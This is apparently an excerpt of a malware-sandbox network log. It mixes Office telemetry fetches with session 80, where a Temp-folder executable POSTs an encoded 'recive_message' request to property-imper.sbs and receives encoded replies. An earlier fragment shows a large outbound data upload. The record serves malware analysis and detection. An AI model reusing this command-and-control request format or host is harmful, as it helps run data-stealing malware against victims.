bd 25 12 Data Ascii: ]'yJP\|NGJ)J\sM`wGL6myJ_QnYuguNw.VHg9`=kx8M'),z;:#VSVkz]fB.MvEjLVsslB<7^Gr5g8Z(8#`4bD^egyNg5b_<P!8%
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 5f 09 10 dd b7 f1 88 ac 33 1c d0 69 16 63 b8 5c 3e e0 eb 50 d9 ec 31 1d 3c b6 f1 c8 23 f3 b2 0a 75 92 6b 6b ba d8 54 4e 8f 15 9b 92 94 01 11 a3 05 00 a8 a2 47 84 b4 d3 74 78 bf 0c c9 04 91 12 00 e4 c1 15 4c be 2f 41 1c 68 3a 7e 1b f5 50 87 ec 1b 6b 0f 2d 58 bb 26 57 23 1d 02 db b5 74 80 5e b0 e0 af 2b 0a c9 cb 9f 1c 19 6f a7 74 c5 89 72 e0 2b ca a6 17 d7 f3 6f 63 6a 74 50 53 84 28 77 0a b9 63 45 0b 20 b1 b3 26 37 2f 93 61 f0 35 58 9f 0c e6 e1 67 a1 38 d5 bd 54 9e 2c 65 59 b7 db 0f fd f0 ad 74 87 f2 ef bf 25 e1 cb 88 7a bc bc 85 59 0b 41 4a cc 9a 1d 4e 84 05 24 3f 8c 5e 78 2c fc 51 3a 6d d5 c3 4d 97 34 2c b2 2d 89 85 37 a2 0d 0f 63 d9 94 e0 9c f5 a8 bf e8 20 c2 70 64 b6 0b fd 74 8e 1e 1d 63 06 e7 9d 9f 16 bb 26 61 ef 10 7e 81 bc f9 e3 c8 89 e8 ef 07 3d 87 Data Ascii: _3ic\>P1<#ukkTNGtxL/Ah:~Pk-X&W#t^+otr+ocjtPS(wcE &7/a5Xg8T,eYt%zYAJN$?^x,Q:mM4,-7c pdtc&a~=
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 39 46 8a fd 28 be 63 26 b6 ba a0 4d 72 dc dd ab b9 d6 77 f6 df 43 c0 7e ed 47 09 db c9 a2 42 58 fc 9a c2 13 61 42 dd 91 8d 7b 02 c9 20 7a c6 92 69 80 78 22 f4 02 32 4a 0c f1 0b e3 8d 06 ca b0 c9 0d b2 07 78 8b 44 76 10 e4 2d 48 69 a2 7d f4 c3 41 9b ea ab bf 0f e8 19 8d f1 c3 6a 3b a9 47 63 a0 8b 81 9b ab 6a 1b 36 29 d5 7c 2c fa 85 95 1d 8c 14 c0 1f b1 3a 60 34 51 07 56 c1 c6 82 51 ad b5 4e 1b a1 b3 39 e9 88 86 da bc fa 22 f1 ca 24 6d 83 26 0c 56 86 46 0f 73 a1 74 59 10 68 8e 5f e3 e4 ec dc 48 d9 19 93 af 9b 5b 9b 0e cb 97 11 fa c0 db c0 df b3 8a 49 84 b8 52 e0 df a1 40 02 84 76 78 37 1c 7b 2c 0a c6 ef fe 9c 77 c6 b9 39 ea 87 9c 84 5d 5c 78 e5 1d 72 52 d9 e0 6a 2a cc aa c6 8f 67 21 5d f9 59 2a 42 2f 6b 43 f1 31 d5 6c 7d e6 87 80 9f 2d 64 ed 34 33 38 b1 03 Data Ascii: 9F(c&MrwC~GBXaB{ zix"2JxDv-Hi}Aj;Gcj6)\|,:`4QVQN9"$m&VFstYh_H[IR@vx7{,w9]\xrRjg!]YB/kC1l}-d438
2024-11-23 14:22:30 UTC	15331	OUT	Data Raw: 66 df 2f 63 ec 89 bd 42 40 fc c9 53 2a 1e 25 02 6a 79 b0 da c4 1c f7 46 83 6e 04 50 76 30 43 85 0d 36 fa e7 f9 af f0 e1 40 42 94 62 f7 35 04 80 38 d7 5c ee 0c 7f 12 10 da db 74 3e c8 53 c8 b6 71 3b ae 56 1f 51 09 96 0e 8d c6 de 56 8d 0e 64 0a b4 f5 61 9b b1 5c 7c 4a 84 e5 15 88 e3 5b 9e 31 0c 3b 66 7a 3b b7 bf 7f 46 f3 af 64 4c c7 9d a8 1e cb ae 7e a3 ab 74 c6 16 8b 21 82 97 b5 46 24 52 34 3d ee b7 d6 28 0d 05 8f 2e 3c 8f 32 68 47 85 0a 03 ac 02 fa 38 c8 e2 21 78 43 bf 6a e3 3e 69 f1 c0 ca b2 f5 95 3b 47 7a 49 d9 3d 75 b4 c5 28 83 3f 8c 80 5e de 84 61 b6 65 ad 5e bd a1 01 41 62 0c f3 16 e0 e9 b9 45 36 f6 7c 61 fb f0 07 10 a3 bd 85 56 6f af a3 89 e3 60 9f 48 76 7b 1b 82 24 0e 5b fb 0a 8e 5f 61 44 62 a1 8f d8 2d d3 65 8d b4 57 4f 22 48 bf d6 3e b4 c7 9d 20 Data Ascii: f/cB@S*%jyFnPv0C6@Bb58\t>Sq;VQVda\\|J[1;fz;FdL~t!F$R4=(.<2hG8!xCj>i;GzI=u(?^ae^AbE6\|aVo`Hv{$[_aDb-eWO"H>
2024-11-23 14:22:32 UTC	1029	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a7p7kvr8sqi45n86qb0r05142j; expires=Wed, 19-Mar-2025 08:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nIDbYR7NloX7VsQkqd4kGep34tm5NZ%2Bg998cqNswOWegt7fL96LkgX%2F8XGC4bWw5k2pQOUE4oUNJsdw%2B6JqdKo0Pyyk73e%2B0b3uDqxn8kzo4YW%2FueBAT9YbOIzGiCiIrBPg%2B0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfd00a8d43c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&sent=325&recv=608&lost=0&retrans=0&sent_bytes=2846&recv_bytes=584779&delivery_rate=1730883&cwnd=237&unsent_bytes=0&cid=2d43442dea4b4f01&ts=2227&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:30 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142230Z-178bfbc474bpscmfhC1NYCfc2c000000031000000000msrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142230Z-15b8b599d88s6mj9hC1TEBur3000000002w0000000008fam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49829	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 14:22:31 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 14:22:32 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n0e1lteg7c5e2e8lu8nrl55uk2; expires=Wed, 19-Mar-2025 08:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aIuL%2Bb4LlIjYB1qnKv7NCux%2Fb100VWpE0BhVrjKfRHhP4B262DrTFABE5Khx%2F1f5DWfAB3QFNs0f%2FCJP4s9PfZy233JNY87ULKxeLGR7itszjJNj4rZQqGblqH8cWT0lMSadBWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfdbae858cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1599123&cwnd=183&unsent_bytes=0&cid=e5737bc5fe8773a4&ts=733&x=0"
2024-11-23 14:22:32 UTC	354	IN	Data Raw: 63 62 38 0d 0a 57 32 76 44 70 30 79 64 51 6d 7a 38 58 56 63 49 57 41 76 42 64 72 43 42 48 54 6d 4d 58 38 39 42 51 2b 70 76 73 49 71 38 50 68 6b 67 53 62 57 46 64 71 6c 75 54 6f 38 34 64 54 49 73 65 62 51 54 6e 4b 4e 38 58 61 35 6c 71 53 41 76 6d 51 71 63 71 4d 70 54 4f 32 45 4e 6f 73 73 2f 2b 47 35 4f 6d 53 56 31 4d 67 4e 77 34 78 50 65 6f 79 63 62 36 54 57 74 49 43 2b 49 44 74 76 6c 7a 46 4a 36 4d 77 65 6b 7a 79 6e 2b 4a 67 32 51 4d 44 4a 74 50 57 71 72 47 4e 6e 73 64 56 53 75 63 2b 30 6b 4f 63 68 56 6b 73 66 5a 53 6e 67 57 43 72 44 4d 62 75 42 75 46 39 34 34 4f 53 70 69 4b 61 41 54 30 75 31 37 58 65 63 33 70 79 6b 6e 69 51 76 61 2b 74 56 59 63 54 4d 4a 70 38 34 6a 39 7a 49 41 6d 6a 63 35 61 7a 64 71 34 31 71 53 35 47 63 62 74 6e 33 2b 45 53 4b 5a 48 4d Data Ascii: cb8W2vDp0ydQmz8XVcIWAvBdrCBHTmMX89BQ+pvsIq8PhkgSbWFdqluTo84dTIsebQTnKN8Xa5lqSAvmQqcqMpTO2ENoss/+G5OmSV1MgNw4xPeoycb6TWtIC+IDtvlzFJ6Mwekzyn+Jg2QMDJtPWqrGNnsdVSuc+0kOchVksfZSngWCrDMbuBuF944OSpiKaAT0u17Xec3pykniQva+tVYcTMJp84j9zIAmjc5azdq41qS5Gcbtn3+ESKZHM
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 69 41 63 6c 6a 51 2b 62 79 68 69 71 68 6e 66 34 33 4a 52 34 54 36 74 4a 43 75 43 41 74 6a 73 30 31 46 39 4f 51 6e 68 69 32 37 34 4f 45 37 47 66 78 5a 76 4b 6d 36 76 41 70 44 5a 50 30 53 67 4a 4f 30 6b 4c 63 68 56 6b 75 44 62 58 33 67 79 42 71 4c 4e 4a 65 30 67 48 4a 67 79 4d 48 67 38 62 4b 30 65 30 66 46 31 56 65 67 2b 70 43 67 6f 6a 51 72 57 71 4a 41 63 66 43 46 4a 2b 59 55 50 38 69 73 43 6c 43 67 31 4b 69 55 6e 75 6c 54 56 37 7a 38 44 72 6a 6d 73 4a 79 43 4d 41 39 7a 73 30 6c 70 31 4e 41 61 6e 7a 79 37 34 4b 67 61 57 50 6a 68 68 4e 57 6d 6d 47 64 62 6c 63 31 72 72 66 65 4e 6a 4a 70 42 4e 69 71 6a 77 57 33 67 72 53 35 54 47 49 50 45 6e 47 4e 34 67 65 33 4e 36 62 71 39 55 69 71 4e 78 58 75 45 76 72 44 45 6b 68 68 2f 65 37 64 68 52 65 44 63 4a 70 4d 49 6a Data Ascii: iAcljQ+byhiqhnf43JR4T6tJCuCAtjs01F9OQnhi274OE7GfxZvKm6vApDZP0SgJO0kLchVkuDbX3gyBqLNJe0gHJgyMHg8bK0e0fF1Veg+pCgojQrWqJAcfCFJ+YUP8isClCg1KiUnulTV7z8DrjmsJyCMA9zs0lp1NAanzy74KgaWPjhhNWmmGdblc1rrfeNjJpBNiqjwW3grS5TGIPEnGN4ge3N6bq9UiqNxXuEvrDEkhh/e7dhReDcJpMIj
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 34 67 65 33 4e 36 62 71 39 55 69 71 4e 7a 55 75 34 32 70 79 63 68 6a 77 44 58 36 39 6c 66 64 6a 34 44 72 38 49 71 38 79 6b 44 6d 44 38 79 62 6a 39 37 70 68 33 65 37 7a 38 56 72 6a 71 31 59 33 6e 49 49 74 58 2b 33 58 4e 34 4b 41 44 68 32 6d 44 6d 59 41 6d 53 66 32 30 71 50 57 79 72 48 39 54 72 66 30 6e 72 4d 36 59 69 4b 34 34 4d 33 2b 54 59 58 48 6f 35 44 36 33 46 4b 66 67 79 48 4a 73 35 4a 32 42 36 4a 2b 4d 54 79 71 4d 6e 47 39 67 74 75 6a 49 33 79 6a 6a 52 35 74 42 62 62 58 6b 57 37 39 78 75 2b 43 78 4f 78 6e 38 2b 61 6a 5a 75 71 78 4c 57 36 33 42 55 35 79 2b 73 4c 79 2b 61 43 74 4c 68 30 46 4e 33 4d 41 53 6d 79 43 58 31 4c 51 71 5a 50 6e 55 6b 65 6d 36 37 56 49 71 6a 53 55 76 6a 4d 59 4d 6f 4c 59 46 4e 7a 61 62 48 48 48 77 31 53 66 6d 46 4b 76 4d 6f 42 Data Ascii: 4ge3N6bq9UiqNzUu42pychjwDX69lfdj4Dr8Iq8ykDmD8ybj97ph3e7z8Vrjq1Y3nIItX+3XN4KADh2mDmYAmSf20qPWyrH9Trf0nrM6YiK44M3+TYXHo5D63FKfgyHJs5J2B6J+MTyqMnG9gtujI3yjjR5tBbbXkW79xu+CxOxn8+ajZuqxLW63BU5y+sLy+aCtLh0FN3MASmyCX1LQqZPnUkem67VIqjSUvjMYMoLYFNzabHHHw1SfmFKvMoB
2024-11-23 14:22:32 UTC	171	IN	Data Raw: 76 50 6d 36 6e 45 74 32 6a 4d 52 76 70 4a 65 31 37 59 61 63 71 35 36 72 2f 5a 6a 73 6d 52 37 69 46 4b 66 4e 67 56 74 34 7a 4e 6d 59 79 5a 71 55 64 33 75 6c 32 55 4f 49 32 71 53 38 6f 6a 51 76 54 37 64 74 64 66 7a 55 44 70 38 59 74 38 43 38 42 6c 6e 39 37 4b 6a 31 78 34 30 79 53 78 6d 68 51 34 44 76 74 50 47 2b 52 54 64 58 6b 6e 67 51 37 4e 51 43 6e 77 79 76 7a 49 51 69 57 4f 6a 31 75 4f 32 2b 6c 46 39 33 6e 65 6c 72 68 4f 61 45 74 4b 34 6b 4d 33 75 50 52 56 33 35 35 52 2b 48 43 4e 72 39 34 54 71 38 38 0d 0a Data Ascii: vPm6nEt2jMRvpJe17Yacq56r/ZjsmR7iFKfNgVt4zNmYyZqUd3ul2UOI2qS8ojQvT7dtdfzUDp8Yt8C8Bln97Kj1x40ySxmhQ4DvtPG+RTdXkngQ7NQCnwyvzIQiWOj1uO2+lF93nelrhOaEtK4kM3uPRV355R+HCNr94Tq88
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 33 37 62 34 0d 0a 49 33 30 71 5a 65 4d 4c 6e 50 6f 2f 58 4f 4a 39 39 57 4d 67 6d 67 66 59 35 74 74 54 66 6a 6f 47 70 73 67 6f 38 79 6f 48 6c 6a 6b 36 59 79 68 71 72 78 72 56 37 58 4e 56 34 7a 65 75 4c 6d 48 47 54 64 58 77 6e 67 51 37 46 51 36 73 36 79 58 7a 4a 30 36 42 63 53 77 71 50 57 58 6a 54 4a 4c 76 64 56 66 6e 50 61 51 6d 4b 59 4d 45 31 2b 6e 56 57 58 67 2f 42 4b 37 4d 50 50 55 6a 41 4a 30 7a 4f 57 77 37 61 72 45 63 32 36 4d 78 47 2b 6b 6c 37 58 74 68 71 51 50 66 2f 4e 6c 4d 4f 79 5a 48 75 49 55 70 38 32 42 57 33 6a 77 30 5a 54 6c 6f 72 68 4c 62 36 33 39 64 36 7a 4b 67 4c 53 61 50 44 64 2f 6d 30 56 70 7a 4e 41 57 71 79 79 66 35 49 41 2b 55 66 33 73 71 50 58 48 6a 54 4a 4c 54 66 46 76 75 4a 75 30 38 62 35 46 4e 31 65 53 65 42 44 73 72 41 36 6a 46 4c Data Ascii: 37b4I30qZeMLnPo/XOJ99WMgmgfY5ttTfjoGpsgo8yoHljk6YyhqrxrV7XNV4zeuLmHGTdXwngQ7FQ6s6yXzJ06BcSwqPWXjTJLvdVfnPaQmKYME1+nVWXg/BK7MPPUjAJ0zOWw7arEc26MxG+kl7XthqQPf/NlMOyZHuIUp82BW3jw0ZTlorhLb639d6zKgLSaPDd/m0VpzNAWqyyf5IA+Uf3sqPXHjTJLTfFvuJu08b5FN1eSeBDsrA6jFL
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 65 44 6a 68 6b 4e 47 36 31 56 4d 32 74 5a 68 76 70 4d 65 31 37 59 59 6b 42 33 65 76 52 58 33 67 34 41 37 50 58 49 76 59 6f 43 35 49 30 4f 32 77 6f 62 36 77 64 30 65 42 32 58 4f 59 78 70 79 41 6d 79 45 4f 53 37 38 59 63 49 33 6b 71 74 74 55 6a 76 7a 39 41 68 33 38 79 5a 6e 6f 78 34 78 7a 66 36 33 56 66 36 54 43 71 4a 53 69 61 42 4e 66 6d 33 6c 68 77 4e 67 2b 6c 78 69 37 74 4a 67 71 57 50 44 68 6e 4e 47 71 6e 56 4a 79 6a 65 45 4f 75 5a 65 30 52 4c 49 59 57 33 65 2f 50 56 6a 73 6d 52 37 69 46 4b 66 4e 67 56 74 34 37 4f 33 67 78 61 4b 67 66 33 4f 52 77 58 75 51 39 6f 69 63 69 68 67 62 54 36 39 5a 52 64 6a 63 44 71 4d 77 70 38 79 51 4a 33 6e 46 31 62 53 49 70 2b 31 54 35 77 6c 4a 33 36 53 66 74 50 47 2b 52 54 64 58 6b 6e 67 51 37 4e 51 43 74 7a 79 58 34 4b 67 Data Ascii: eDjhkNG61VM2tZhvpMe17YYkB3evRX3g4A7PXIvYoC5I0O2wob6wd0eB2XOYxpyAmyEOS78YcI3kqttUjvz9Ah38yZnox4xzf63Vf6TCqJSiaBNfm3lhwNg+lxi7tJgqWPDhnNGqnVJyjeEOuZe0RLIYW3e/PVjsmR7iFKfNgVt47O3gxaKgf3ORwXuQ9oicihgbT69ZRdjcDqMwp8yQJ3nF1bSIp+1T5wlJ36SftPG+RTdXkngQ7NQCtzyX4Kg
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 65 44 70 67 70 68 6a 52 34 33 74 64 35 7a 75 75 4a 32 48 47 54 64 58 77 6e 67 51 37 46 41 57 6d 37 43 6e 6b 59 42 48 51 4a 6e 56 74 4e 69 6e 37 56 4e 50 6f 64 56 54 6a 50 71 73 67 4b 6f 30 48 30 2b 2f 57 55 57 6b 36 42 71 37 42 4c 76 41 6d 43 4a 38 77 4d 32 30 7a 61 4b 73 54 6b 71 30 2f 58 50 5a 39 39 57 4d 50 6a 77 37 57 71 4d 45 53 59 6e 6b 4f 72 59 56 32 76 79 41 45 6c 44 55 37 61 6a 31 37 70 52 33 53 34 47 31 59 36 44 57 72 4c 79 32 46 42 64 76 6f 32 31 64 32 4d 67 53 6e 78 53 58 2b 59 45 44 65 4f 43 30 71 59 69 6d 53 47 64 7a 6e 63 56 6a 2b 4f 75 30 38 62 35 46 4e 31 65 53 65 42 44 73 32 41 4c 50 43 4b 2f 63 70 44 70 41 32 50 47 30 2b 61 71 49 51 33 75 78 32 57 4f 59 38 70 53 77 69 69 41 62 61 34 74 39 53 66 6e 6c 48 34 63 49 32 76 33 68 4f 73 54 77 Data Ascii: eDpgphjR43td5zuuJ2HGTdXwngQ7FAWm7CnkYBHQJnVtNin7VNPodVTjPqsgKo0H0+/WUWk6Bq7BLvAmCJ8wM20zaKsTkq0/XPZ99WMPjw7WqMESYnkOrYV2vyAElDU7aj17pR3S4G1Y6DWrLy2FBdvo21d2MgSnxSX+YEDeOC0qYimSGdzncVj+Ou08b5FN1eSeBDs2ALPCK/cpDpA2PG0+aqIQ3ux2WOY8pSwiiAba4t9SfnlH4cI2v3hOsTw
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 4f 4e 63 6b 74 77 78 47 2f 5a 39 39 57 4d 55 69 77 50 63 37 38 68 4e 4e 68 34 54 72 4d 4d 35 37 6d 42 41 33 6a 6c 31 4d 6d 6f 6e 34 78 44 44 6f 79 63 4c 76 47 62 34 63 48 62 59 58 38 32 6d 78 78 78 74 65 56 48 7a 69 32 37 74 59 46 62 65 65 44 5a 34 4b 47 2b 67 41 74 47 6b 51 57 58 41 4f 71 73 6d 4a 70 68 50 2f 4f 50 4b 57 7a 74 33 53 61 36 46 64 73 5a 67 52 74 34 41 65 79 6f 69 4b 66 74 55 35 2b 42 78 56 65 6b 72 76 47 34 50 6a 77 76 58 37 38 34 65 56 54 49 64 70 6f 56 67 76 79 5a 4f 78 6d 39 37 4b 6a 35 34 34 30 79 43 73 53 51 4f 76 57 72 39 63 54 37 47 46 4a 4c 2b 6e 67 51 70 64 30 6d 7a 68 58 61 2f 5a 77 32 4d 4c 54 4e 70 4c 47 72 6b 4b 75 7a 67 61 56 62 68 4e 71 77 64 48 36 59 41 30 2b 76 51 48 6b 6f 76 42 4c 48 47 4b 2f 67 65 4d 4a 41 34 49 57 30 30 Data Ascii: ONcktwxG/Z99WMUiwPc78hNNh4TrMM57mBA3jl1Mmon4xDDoycLvGb4cHbYX82mxxxteVHzi27tYFbeeDZ4KG+gAtGkQWXAOqsmJphP/OPKWzt3Sa6FdsZgRt4AeyoiKftU5+BxVekrvG4PjwvX784eVTIdpoVgvyZOxm97Kj5440yCsSQOvWr9cT7GFJL+ngQpd0mzhXa/Zw2MLTNpLGrkKuzgaVbhNqwdH6YA0+vQHkovBLHGK/geMJA4IW00
2024-11-23 14:22:32 UTC	1369	IN	Data Raw: 79 6a 65 52 75 32 62 2b 4e 6a 4a 5a 6c 4e 69 72 69 4d 42 79 35 71 58 76 47 58 4d 62 45 35 54 6f 68 2f 62 54 68 30 4b 62 46 55 69 71 4d 34 57 50 77 76 71 79 41 33 69 30 72 73 31 76 6c 53 66 44 67 66 73 63 67 69 33 69 4d 66 6c 41 45 4c 66 7a 6c 6e 72 52 50 45 38 6a 38 56 72 6a 4c 74 65 78 6a 49 52 5a 4c 58 6b 42 78 6a 65 56 48 68 38 43 33 78 4c 67 6d 49 4c 6e 68 4e 4e 47 36 69 41 73 4c 75 63 33 72 74 4c 4b 64 6a 62 38 67 4c 6b 72 43 4d 45 6a 73 39 47 4f 47 64 66 71 31 37 57 38 31 6f 5a 54 67 6c 4a 37 70 55 78 4b 4d 6e 43 61 42 39 76 32 4e 35 79 45 72 52 2b 73 78 61 65 43 38 4b 35 76 73 51 32 6a 63 4e 6a 6a 6b 32 56 41 52 43 72 78 4c 56 2b 58 68 64 79 42 33 74 62 57 47 48 54 59 72 52 6e 68 51 37 42 6b 66 68 33 57 36 6e 59 44 75 64 4d 54 74 74 4c 48 6a 75 4d Data Ascii: yjeRu2b+NjJZlNiriMBy5qXvGXMbE5Toh/bTh0KbFUiqM4WPwvqyA3i0rs1vlSfDgfscgi3iMflAELfzlnrRPE8j8VrjLtexjIRZLXkBxjeVHh8C3xLgmILnhNNG6iAsLuc3rtLKdjb8gLkrCMEjs9GOGdfq17W81oZTglJ7pUxKMnCaB9v2N5yErR+sxaeC8K5vsQ2jcNjjk2VARCrxLV+XhdyB3tbWGHTYrRnhQ7Bkfh3W6nYDudMTttLHjuM

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142232Z-174c587ffdfdwxdvhC1TEB1c4n00000002vg00000000msz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
